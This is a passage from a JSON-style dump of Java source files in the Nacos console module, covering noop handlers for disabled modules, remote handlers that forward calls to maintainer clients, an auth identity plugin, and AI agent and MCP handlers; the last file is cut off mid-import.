  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/noop/config/HistoryNoopHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.noop.config;\n\nimport com.alibaba.nacos.api.config.model.ConfigBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryBasicInfo;\nimport com.alibaba.nacos.api.config.model.ConfigHistoryDetailInfo;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.console.handler.config.HistoryHandler;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.stereotype.Service;\n\nimport java.util.List;\n\n/**\n * Noop Implementation of HistoryHandler for handling internal configuration operations.\n * Used when `config` module is disabled(functionMode is `naming`)\n *\n * @author xiweng.yy\n */\n@Service\n@ConditionalOnMissingBean(value = HistoryHandler.class, ignored = HistoryNoopHandler.class)\npublic class HistoryNoopHandler implements HistoryHandler {\n    \n    private static final String MCP_NOT_ENABLED_MESSAGE = \"Current functionMode is `naming`, config module is disabled.\";\n    \n    @Override\n    public ConfigHistoryDetailInfo getConfigHistoryInfo(String dataId, String group, String namespaceId, Long nid)\n            throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public Page<ConfigHistoryBasicInfo> listConfigHistory(String dataId, String group, String namespaceId,\n            Integer pageNo, Integer pageSize) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public ConfigHistoryDetailInfo getPreviousConfigHistoryInfo(String dataId, String group, String namespaceId,\n            Long id) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public List<ConfigBasicInfo> getConfigsByTenant(String namespaceId) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n}"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/noop/naming/InstanceNoopHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.noop.naming;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.console.handler.naming.InstanceHandler;\nimport com.alibaba.nacos.naming.model.form.InstanceForm;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.stereotype.Service;\n\n/**\n * Noop Implementation of InstanceHandler that handles instance-related operations.\n * Used when `naming` module is disabled(functionMode is `config`)\n *\n * @author xiweng.yy\n */\n@Service\n@ConditionalOnMissingBean(value = InstanceHandler.class, ignored = InstanceNoopHandler.class)\npublic class InstanceNoopHandler implements InstanceHandler {\n    \n    private static final String MCP_NOT_ENABLED_MESSAGE = \"Current functionMode is `config`, naming module is disabled.\";\n    \n    @Override\n    public Page<? extends Instance> listInstances(String namespaceId, String serviceNameWithoutGroup, String groupName,\n            String clusterName, int page, int pageSize) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public void updateInstance(InstanceForm instanceForm, Instance instance) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/noop/naming/ServiceNoopHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.noop.naming;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.naming.pojo.maintainer.ServiceDetailInfo;\nimport com.alibaba.nacos.api.naming.pojo.maintainer.SubscriberInfo;\nimport com.alibaba.nacos.console.handler.naming.ServiceHandler;\nimport com.alibaba.nacos.naming.core.v2.metadata.ClusterMetadata;\nimport com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadata;\nimport com.alibaba.nacos.naming.model.form.ServiceForm;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\n\nimport java.util.List;\n\n/**\n * Noop Implementation of ServiceHandler that handles service-related operations.\n * Used when `naming` module is disabled(functionMode is `config`)\n *\n * @author xiweng.yy\n */\n@org.springframework.stereotype.Service\n@ConditionalOnMissingBean(value = ServiceHandler.class, ignored = ServiceNoopHandler.class)\npublic class ServiceNoopHandler implements ServiceHandler {\n    \n    private static final String MCP_NOT_ENABLED_MESSAGE = \"Current functionMode is `config`, naming module is disabled.\";\n    \n    @Override\n    public void createService(ServiceForm serviceForm, ServiceMetadata serviceMetadata) throws Exception {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public void deleteService(String namespaceId, String serviceName, String groupName) throws Exception {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public void updateService(ServiceForm serviceForm, ServiceMetadata serviceMetadata) throws Exception {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public List<String> getSelectorTypeList() throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public Page<SubscriberInfo> getSubscribers(int pageNo, int pageSize, String namespaceId, String serviceName,\n            String groupName, boolean aggregation) throws Exception {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public Object getServiceList(boolean withInstances, String namespaceId, int pageNo, int pageSize,\n            String serviceName, String groupName, boolean ignoreEmptyService) throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public ServiceDetailInfo getServiceDetail(String namespaceId, String serviceName, String groupName)\n            throws NacosException {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n    \n    @Override\n    public void updateClusterMetadata(String namespaceId, String groupName, String serviceName, String clusterName,\n            ClusterMetadata clusterMetadata) throws Exception {\n        throw new NacosApiException(NacosException.SERVER_NOT_IMPLEMENTED, ErrorCode.API_FUNCTION_DISABLED,\n                MCP_NOT_ENABLED_MESSAGE);\n    }\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/remote/ConsoleMaintainerClientAuthPlugin.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.remote;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.auth.config.NacosAuthConfigHolder;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.console.config.NacosConsoleAuthConfig;\nimport com.alibaba.nacos.plugin.auth.api.LoginIdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\nimport com.alibaba.nacos.plugin.auth.spi.client.AbstractClientAuthService;\n\nimport java.util.List;\nimport java.util.Properties;\n\n/**\n * Client Auth Plugin implementation for console remote maintainer client.\n *\n * @author xiweng.yy\n */\npublic class ConsoleMaintainerClientAuthPlugin extends AbstractClientAuthService {\n    \n    private LoginIdentityContext identityContext = new LoginIdentityContext();\n    \n    @Override\n    public Boolean login(Properties properties) {\n        NacosConsoleAuthConfig authConfig = (NacosConsoleAuthConfig) NacosAuthConfigHolder.getInstance()\n                .getNacosAuthConfigByScope(NacosConsoleAuthConfig.NACOS_CONSOLE_AUTH_SCOPE);\n        if (authConfig.isSupportServerIdentity()) {\n            identityContext.setParameter(authConfig.getServerIdentityKey(), authConfig.getServerIdentityValue());\n        }\n        return true;\n    }\n    \n    @Override\n    public void setServerList(List<String> serverList) {\n    }\n    \n    @Override\n    public void setNacosRestTemplate(NacosRestTemplate nacosRestTemplate) {\n    }\n    \n    @Override\n    public LoginIdentityContext getLoginIdentityContext(RequestResource resource) {\n        return identityContext;\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n    \n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/remote/EnabledRemoteHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.remote;\n\nimport com.alibaba.nacos.sys.env.Constants;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * Using Remote handler to call Nacos Admin API to  handle console API request.\n *\n * @author xiweng.yy\n */\n@Target(ElementType.TYPE)\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\n@ConditionalOnProperty(value = Constants.NACOS_DEPLOYMENT_TYPE, havingValue = Constants.NACOS_DEPLOYMENT_TYPE_CONSOLE)\npublic @interface EnabledRemoteHandler {\n\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/remote/HealthRemoteHandler.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.remote;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.console.handler.HealthHandler;\nimport org.springframework.stereotype.Service;\n\n/**\n * Remote Implementation of HealthHandler that performs health check operations.\n *\n * @author xiweng.yy\n */\n@Service\n@EnabledRemoteHandler\npublic class HealthRemoteHandler implements HealthHandler {\n    \n    private final NacosMaintainerClientHolder clientHolder;\n    \n    public HealthRemoteHandler(NacosMaintainerClientHolder clientHolder) {\n        this.clientHolder = clientHolder;\n    }\n    \n    @Override\n    public Result<String> checkReadiness() throws NacosException {\n        Boolean result = clientHolder.getNamingMaintainerService().readiness();\n        return result ? Result.success(\"ok\") : Result.failure(\"Nacos server readiness failed.\");\n    }\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/remote/NacosMaintainerClientHolder.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.remote;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.utils.ContextPathUtil;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.console.cluster.RemoteServerMemberManager;\nimport com.alibaba.nacos.core.cluster.Member;\nimport com.alibaba.nacos.core.cluster.MemberChangeListener;\nimport com.alibaba.nacos.core.cluster.MembersChangeEvent;\nimport com.alibaba.nacos.maintainer.client.ai.AiMaintainerFactory;\nimport com.alibaba.nacos.maintainer.client.ai.AiMaintainerService;\nimport com.alibaba.nacos.maintainer.client.config.ConfigMaintainerFactory;\nimport com.alibaba.nacos.maintainer.client.config.ConfigMaintainerService;\nimport com.alibaba.nacos.maintainer.client.naming.NamingMaintainerFactory;\nimport com.alibaba.nacos.maintainer.client.naming.NamingMaintainerService;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Component;\n\nimport java.util.List;\nimport java.util.Properties;\n\n/**\n * Nacos maintainer client holder.\n *\n * @author xiweng.yy\n */\n@Component\n@EnabledRemoteHandler\npublic class NacosMaintainerClientHolder extends MemberChangeListener {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(NacosMaintainerClientHolder.class);\n    \n    private static final String REMOTE_SERVER_CONTEXT_PATH_KEY = \"nacos.console.remote.server.context-path\";\n    \n    private static final String DEFAULT_REMOTE_SERVER_CONTEXT_PATH = \"/nacos\";\n    \n    private static final String PATH_SEPARATOR = \"/\";\n    \n    private static final int ROOT_PATH_LENGTH = 1;\n    \n    private final RemoteServerMemberManager memberManager;\n    \n    private volatile NamingMaintainerService namingMaintainerService;\n    \n    private volatile ConfigMaintainerService configMaintainerService;\n    \n    private volatile AiMaintainerService aiMaintainerService;\n    \n    public NacosMaintainerClientHolder(RemoteServerMemberManager memberManager) throws NacosException {\n        this.memberManager = memberManager;\n        buildMaintainerService();\n        NotifyCenter.registerSubscriber(this);\n    }\n    \n    private void buildMaintainerService() throws NacosException {\n        List<String> memberAddress = memberManager.allMembers().stream().map(Member::getAddress).toList();\n        String memberAddressString = StringUtils.join(memberAddress, \",\");\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.SERVER_ADDR, memberAddressString);\n        String remoteContextPath = resolveRemoteContextPath();\n        properties.setProperty(PropertyKeyConst.CONTEXT_PATH, remoteContextPath);\n        namingMaintainerService = NamingMaintainerFactory.createNamingMaintainerService(properties);\n        configMaintainerService = ConfigMaintainerFactory.createConfigMaintainerService(properties);\n        aiMaintainerService = AiMaintainerFactory.createAiMaintainerService(properties);\n    }\n    \n    static String resolveRemoteContextPath() {\n        String remoteContextPath = EnvUtil.getProperty(REMOTE_SERVER_CONTEXT_PATH_KEY, DEFAULT_REMOTE_SERVER_CONTEXT_PATH);\n        remoteContextPath = StringUtils.trim(remoteContextPath);\n        remoteContextPath = ContextPathUtil.normalizeContextPath(remoteContextPath);\n        while (remoteContextPath.endsWith(PATH_SEPARATOR) && remoteContextPath.length() > ROOT_PATH_LENGTH) {\n            remoteContextPath = remoteContextPath.substring(0, remoteContextPath.length() - 1);\n        }\n        return remoteContextPath;\n    }\n    \n    public NamingMaintainerService getNamingMaintainerService() {\n        return namingMaintainerService;\n    }\n    \n    public ConfigMaintainerService getConfigMaintainerService() {\n        return configMaintainerService;\n    }\n    \n    public AiMaintainerService getAiMaintainerService() {\n        return aiMaintainerService;\n    }\n    \n    @Override\n    public void onEvent(MembersChangeEvent event) {\n        try {\n            buildMaintainerService();\n        } catch (NacosException e) {\n            LOGGER.warn(\"Nacos Server members changed, but build new maintain client failed with: \", e);\n        }\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/remote/RemoteServerConnector.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.remote;\n\nimport com.alibaba.nacos.api.common.NodeState;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.api.model.response.NacosMember;\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\nimport com.alibaba.nacos.auth.config.NacosAuthConfigHolder;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.console.config.NacosConsoleAuthConfig;\nimport com.alibaba.nacos.console.handler.core.ClusterHandler;\nimport com.alibaba.nacos.core.cluster.Member;\nimport com.alibaba.nacos.core.cluster.NacosMemberManager;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.apache.hc.core5.http.HttpRequest;\nimport org.springframework.stereotype.Component;\n\nimport java.util.Collection;\nimport java.util.Map;\nimport java.util.stream.Collectors;\n\n/**\n * Common connector for remote server operations in console deployment mode.\n *\n * <p>Provides shared functionality for remote HTTP forwarding services, including\n * healthy member selection, authentication identity injection, and server context path resolution.</p>\n *\n * @author nacos\n */\n@Component\n@EnabledRemoteHandler\npublic class RemoteServerConnector {\n    \n    private final NacosMemberManager memberManager;\n    \n    private final ClusterHandler remoteClusterHandler;\n    \n    public RemoteServerConnector(NacosMemberManager memberManager, ClusterHandler remoteClusterHandler) {\n        this.memberManager = memberManager;\n        this.remoteClusterHandler = remoteClusterHandler;\n    }\n    \n    /**\n     * Add authentication identity headers to the HTTP request.\n     *\n     * @param request the HTTP request to add auth headers to\n     */\n    public void addAuthIdentity(HttpRequest request) {\n        NacosAuthConfig authConfig = NacosAuthConfigHolder.getInstance()\n                .getNacosAuthConfigByScope(NacosConsoleAuthConfig.NACOS_CONSOLE_AUTH_SCOPE);\n        if (StringUtils.isNotBlank(authConfig.getServerIdentityKey())) {\n            request.setHeader(authConfig.getServerIdentityKey(), authConfig.getServerIdentityValue());\n        }\n    }\n    \n    /**\n     * Get the server context path for remote server.\n     *\n     * @return server context path, defaults to \"/nacos\"\n     */\n    public String getServerContextPath() {\n        return EnvUtil.getProperty(\"nacos.console.remote.server.context-path\", \"/nacos\");\n    }\n    \n    /**\n     * Randomly select one healthy member from the cluster.\n     *\n     * @return a healthy cluster member\n     * @throws NacosException if no healthy server node is found\n     */\n    public Member randomOneHealthyMember() throws NacosException {\n        Collection<Member> allMembers = memberManager.allMembers();\n        Collection<? extends NacosMember> membersWithState = remoteClusterHandler.getNodeList(\"\");\n        Map<String, NodeState> nodeStateMap = membersWithState.stream()\n                .collect(Collectors.toMap(NacosMember::getAddress, NacosMember::getState));\n        allMembers.removeIf(node -> !NodeState.UP.equals(nodeStateMap.get(node.getAddress())));\n        if (CollectionUtils.isEmpty(allMembers)) {\n            throw new NacosRuntimeException(NacosException.SERVER_ERROR, \"No healthy server node found.\");\n        }\n        return allMembers.parallelStream().findAny().orElseThrow();\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/remote/ServerStateRemoteHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.remote;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.console.handler.impl.AbstractServerStateHandler;\nimport com.alibaba.nacos.sys.env.Constants;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport com.alibaba.nacos.sys.module.ModuleState;\nimport com.alibaba.nacos.sys.module.ModuleStateHolder;\nimport org.springframework.stereotype.Service;\n\nimport java.util.Map;\n\n/**\n * Remote Implementation of ServerStateHandler that performs server state operations.\n *\n * @author xiweng.yy\n */\n@Service\n@EnabledRemoteHandler\npublic class ServerStateRemoteHandler extends AbstractServerStateHandler {\n    \n    private final NacosMaintainerClientHolder clientHolder;\n    \n    public ServerStateRemoteHandler(NacosMaintainerClientHolder clientHolder) {\n        this.clientHolder = clientHolder;\n    }\n    \n    public Map<String, String> getServerState() throws NacosException {\n        Map<String, String> serverState = this.clientHolder.getNamingMaintainerService().getServerState();\n        serverState.put(Constants.SERVER_PORT_STATE, EnvUtil.getProperty(\"nacos.console.port\", \"8080\"));\n        // Add current console states\n        for (ModuleState each : ModuleStateHolder.getInstance().getAllModuleStates()) {\n            each.getStates().forEach((s, o) -> serverState.put(s, null == o ? null : o.toString()));\n        }\n        return serverState;\n    }\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/remote/ai/A2aRemoteHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.handler.impl.remote.ai;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentCardForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentCardUpdateForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentListForm;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardVersionInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentVersionDetail;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.console.handler.ai.A2aHandler;\nimport com.alibaba.nacos.console.handler.impl.ConditionFunctionEnabled;\nimport com.alibaba.nacos.console.handler.impl.remote.EnabledRemoteHandler;\nimport com.alibaba.nacos.console.handler.impl.remote.NacosMaintainerClientHolder;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport com.alibaba.nacos.maintainer.client.ai.AiMaintainerService;\nimport org.springframework.context.annotation.Conditional;\nimport org.springframework.stereotype.Service;\n\nimport java.util.List;\n\n/**\n * A2aRemoteHandler.\n *\n * @author KiteSoar\n */\n@Service\n@EnabledRemoteHandler\n@Conditional(ConditionFunctionEnabled.ConditionAiEnabled.class)\npublic class A2aRemoteHandler implements A2aHandler {\n    \n    private final NacosMaintainerClientHolder clientHolder;\n    \n    public A2aRemoteHandler(NacosMaintainerClientHolder clientHolder) {\n        this.clientHolder = clientHolder;\n    }\n    \n    @Override\n    public void registerAgent(AgentCard agentCard, AgentCardForm agentCardForm) throws NacosException {\n        clientHolder.getAiMaintainerService()\n                .registerAgent(agentCard, agentCardForm.getNamespaceId(), agentCardForm.getRegistrationType());\n    }\n    \n    @Override\n    public AgentCardDetailInfo getAgentCardWithVersions(AgentForm form) throws NacosException {\n        return clientHolder.getAiMaintainerService()\n                .getAgentCard(form.getAgentName(), form.getNamespaceId(), form.getRegistrationType());\n    }\n    \n    @Override\n    public void deleteAgent(AgentForm form) throws NacosException {\n        clientHolder.getAiMaintainerService().deleteAgent(form.getAgentName(), form.getNamespaceId());\n    }\n    \n    @Override\n    public void updateAgentCard(AgentCard agentCard, AgentCardUpdateForm form) throws NacosException {\n        clientHolder.getAiMaintainerService()\n                .updateAgentCard(agentCard, form.getNamespaceId(), form.getSetAsLatest(), form.getRegistrationType());\n    }\n    \n    @Override\n    public Page<AgentCardVersionInfo> listAgents(AgentListForm agentListForm, PageForm pageForm) throws NacosException {\n        AiMaintainerService aiMaintainerService = clientHolder.getAiMaintainerService();\n        return Constants.MCP_LIST_SEARCH_BLUR.equalsIgnoreCase(agentListForm.getSearch())\n                ? aiMaintainerService.searchAgentCardsByName(agentListForm.getNamespaceId(), agentListForm.getAgentName(),\n                pageForm.getPageNo(), pageForm.getPageSize())\n                : aiMaintainerService.listAgentCards(agentListForm.getNamespaceId(), agentListForm.getAgentName(),\n                        pageForm.getPageNo(), pageForm.getPageSize());\n    }\n    \n    @Override\n    public List<AgentVersionDetail> listAgentVersions(String namespaceId, String name) throws NacosException {\n        return clientHolder.getAiMaintainerService().listAllVersionOfAgent(name, namespaceId);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/handler/impl/remote/ai/McpRemoteHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.console.handler.impl.remote.ai;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportRequest;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportResponse;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerImportValidationResult;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.console.handler.ai.McpHandler;\nimport 